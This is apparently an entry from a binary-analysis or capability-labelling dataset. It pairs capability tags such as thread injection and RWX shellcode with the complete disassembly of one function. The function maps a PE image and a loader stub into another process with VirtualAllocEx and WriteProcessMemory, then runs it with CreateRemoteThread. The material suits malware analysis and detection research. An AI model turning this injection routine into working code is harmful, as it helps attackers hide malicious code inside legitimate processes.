Function at 0x180005b40
Capabilities:
Allocate or change rwx memory
Create thread
Enumerate pe sections
Inject thread
Resolve function by parsing pe exports
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov dword [rsp + 8], ecx
push rdi
sub rsp, 0x540
mov dword [rsp + 0x50], 0
mov qword [rsp + 0x40], 0
mov r8d, dword [rsp + 0x550]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
jne 0x180005b94
xor eax, eax
jmp 0x18000623f
mov rcx, qword [rsp + 0x40]
call fcn.1800020d0
mov dword [rsp + 0xe8], eax
mov dword [rsp + 0xcc], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xb0], rax
cmp qword [rsp + 0xb0], 0
je 0x180005beb
mov rcx, qword [rsp + 0xb0]
call fcn.1800020d0
mov dword [rsp + 0xcc], eax
mov rcx, qword [rsp + 0xb0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0xcc]
cmp dword [rsp + 0xe8], eax
je 0x180005c00
jmp 0x180006230
mov dword [rsp + 0xc8], 0
mov byte [rsp + 0xec], 0
mov byte [rsp + 0x510], 0
lea r9, [rsp + 0x510]
lea r8, [rsp + 0xec]
lea rdx, [rsp + 0xc8]
mov rcx, qword [rsp + 0x560]
call fcn.180006250
test eax, eax
jne 0x180005c49
jmp 0x180006230
mov rax, qword [rsp + 0x560]
mov qword [rsp + 0x520], rax
mov rax, qword [rsp + 0x520]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x560]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb8], rax
mov rax, qword [rsp + 0xb8]
movzx eax, word [rax + 0x14]
mov rcx, qword [rsp + 0xb8]
lea rax, [rcx + rax + 0x18]
mov qword [rsp + 0x518], rax
mov rax, qword [rsp + 0xb8]
movzx eax, word [rax + 6]
mov dword [rsp + 0xc4], eax
mov rax, qword [rsp + 0xb8]
mov eax, dword [rax + 0x50]
mov dword [rsp + 0x108], eax
mov rax, qword [rsp + 0xb8]
mov eax, dword [rax + 0x54]
mov dword [rsp + 0xd8], eax
mov eax, dword [rsp + 0xd8]
mov ecx, dword [rsp + 0x108]
add ecx, eax
mov eax, ecx
add eax, dword [rsp + 0x578]
mov eax, eax
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, eax
xor edx, edx
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0xd0], rax
cmp qword [rsp + 0xd0], 0
jne 0x180005d24
jmp 0x180006230
lea rax, [rsp + 0x110]
mov rdi, rax
xor eax, eax
mov ecx, 0x400
rep stosb byte [rdi], al
mov eax, dword [rsp + 0xd8]
lea rcx, [rsp + 0x48]
mov qword [rsp + 0x20], rcx
mov r9d, eax
mov r8, qword [rsp + 0x560]
mov rdx, qword [rsp + 0xd0]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x180005d83
mov eax, dword [rsp + 0xd8]
cmp qword [rsp + 0x48], rax
jne 0x180005d83
cmp dword [rsp + 0xd8], 0
jne 0x180005d88
jmp 0x180006230
mov rax, qword [rsp + 0xb8]
movzx eax, word [rax + 0x14]
mov rcx, qword [rsp + 0xb8]
lea rax, [rcx + rax + 0x18]
mov qword [rsp + 0xe0], rax
mov dword [rsp + 0xc0], 0
jmp 0x180005dc6
mov eax, dword [rsp + 0xc0]
inc eax
mov dword [rsp + 0xc0], eax
mov eax, dword [rsp + 0xc4]
cmp dword [rsp + 0xc0], eax
jge 0x180005ea0
movsxd rax, dword [rsp + 0xc0]
imul rax, rax, 0x28
mov rcx, qword [rsp + 0xe0]
cmp dword [rcx + rax + 0x10], 0
jne 0x180005df7
jmp 0x180005db6
movsxd rax, dword [rsp + 0xc0]
imul rax, rax, 0x28
mov rcx, qword [rsp + 0xe0]
mov eax, dword [rcx + rax + 0x10]
movsxd rcx, dword [rsp + 0xc0]
imul rcx, rcx, 0x28
mov rdx, qword [rsp + 0xe0]
mov ecx, dword [rdx + rcx + 0x14]
mov rdx, qword [rsp + 0x560]
add rdx, rcx
mov rcx, rdx
movsxd rdx, dword [rsp + 0xc0]
imul rdx, rdx, 0x28
mov rdi, qword [rsp + 0xe0]
mov edx, dword [rdi + rdx + 0xc]
mov rdi, qword [rsp + 0xd0]
add rdi, rdx
mov rdx, rdi
lea rdi, [rsp + 0x48]
mov qword [rsp + 0x20], rdi
mov r9d, eax
mov r8, rcx
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x180005e99
movsxd rax, dword [rsp + 0xc0]
imul rax, rax, 0x28
mov rcx, qword [rsp + 0xe0]
mov eax, dword [rcx + rax + 0x10]
cmp qword [rsp + 0x48], rax
je 0x180005e9b
jmp 0x180005ea0
jmp 0x180005db6
mov eax, dword [rsp + 0xc4]
cmp dword [rsp + 0xc0], eax
je 0x180005eb5
jmp 0x180006230
mov eax, dword [rsp + 0xd8]
cmp rax, 0x400
jbe 0x180005ed2
mov qword [rsp + 0x528], 0x400
jmp 0x180005ee1
mov eax, dword [rsp + 0xd8]
mov qword [rsp + 0x528], rax
mov eax, dword [rsp + 0x108]
mov rcx, qword [rsp + 0xd0]
add rcx, rax
mov rax, rcx
lea rcx, [rsp + 0x48]
mov qword [rsp + 0x20], rcx
mov r9, qword [rsp + 0x528]
lea r8, [rsp + 0x110]
mov rdx, rax
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x180005f67
mov eax, dword [rsp + 0xd8]
cmp rax, 0x400
jbe 0x180005f3f
mov qword [rsp + 0x530], 0x400
jmp 0x180005f4e
mov eax, dword [rsp + 0xd8]
mov qword [rsp + 0x530], rax
mov rax, qword [rsp + 0x530]
cmp qword [rsp + 0x48], rax
jne 0x180005f67
cmp dword [rsp + 0xd8], 0
jne 0x180005f6c
jmp 0x180006230
cmp dword [rsp + 0x578], 0
jbe 0x180005fd6
mov eax, dword [rsp + 0x578]
mov ecx, dword [rsp + 0x108]
mov rdx, qword [rsp + 0xd0]
add rdx, rcx
mov rcx, rdx
mov edx, dword [rsp + 0xd8]
add rcx, rdx
lea rdx, [rsp + 0x48]
mov qword [rsp + 0x20], rdx
mov r9d, eax
mov r8, qword [rsp + 0x570]
mov rdx, rcx
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x180005fd1
mov eax, dword [rsp + 0x578]
cmp qword [rsp + 0x48], rax
je 0x180005fd6
jmp 0x180006230
lea rcx, [0x180018870]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rsp + 0x58], rax
lea rdx, [0x180018888]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x60], rax
lea rdx, [0x180018898]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0xb8]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0xd0]
mov qword [rsp + 0x80], rax
movzx eax, byte [rsp + 0x510]
mov byte [rsp + 0x88], al
mov eax, dword [rsp + 0x558]
mov dword [rsp + 0x8c], eax
mov eax, dword [rsp + 0x108]
mov rcx, qword [rsp + 0xd0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x98], rax
mov eax, dword [rsp + 0xd8]
mov dword [rsp + 0x90], eax
cmp dword [rsp + 0x578], 0
jbe 0x1800060b2
mov eax, dword [rsp + 0x108]
mov rcx, qword [rsp + 0xd0]
add rcx, rax
mov rax, rcx
mov ecx, dword [rsp + 0xd8]
add rax, rcx
mov qword [rsp + 0xa0], rax
jmp 0x1800060be
mov qword [rsp + 0xa0], 0
lea rax, [0x180005b30]
lea rcx, [0x180005370]
sub rax, rcx
mov qword [rsp + 0xf0], rax
mov rax, qword [rsp + 0xf0]
add rax, 0x48
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8, rax
xor edx, edx
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0xf8], rax
cmp qword [rsp + 0xf8], 0
jne 0x180006119
jmp 0x180006230
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0xf0]
lea r8, [0x180005370]
mov rdx, qword [rsp + 0xf8]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x180006163
mov rax, qword [rsp + 0xf0]
cmp qword [rsp + 0x48], rax
jne 0x180006163
cmp qword [rsp + 0xf0], 0
jne 0x180006168
jmp 0x180006230
mov rax, qword [rsp + 0xf0]
mov rcx, qword [rsp + 0xf8]
add rcx, rax
mov rax, rcx
lea rcx, [rsp + 0x48]
mov qword [rsp + 0x20], rcx
mov r9d, 0x48
lea r8, [rsp + 0x60]
mov rdx, rax
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1800061b3
cmp qword [rsp + 0x48], 0x48
jne 0x1800061b3
xor eax, eax
test eax, eax
je 0x1800061b5
jmp 0x180006230
mov rax, qword [rsp + 0xf0]
mov rcx, qword [rsp + 0xf8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0xf8]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rsp + 0x100], rax
cmp qword [rsp + 0x100], 0
jne 0x180006210
jmp 0x180006230
mov dword [rsp + 0x50], 1
mov rcx, qword [rsp + 0x100]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
test eax, eax
jne 0x180005b6b
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x50]
add rsp, 0x540
pop rdi
ret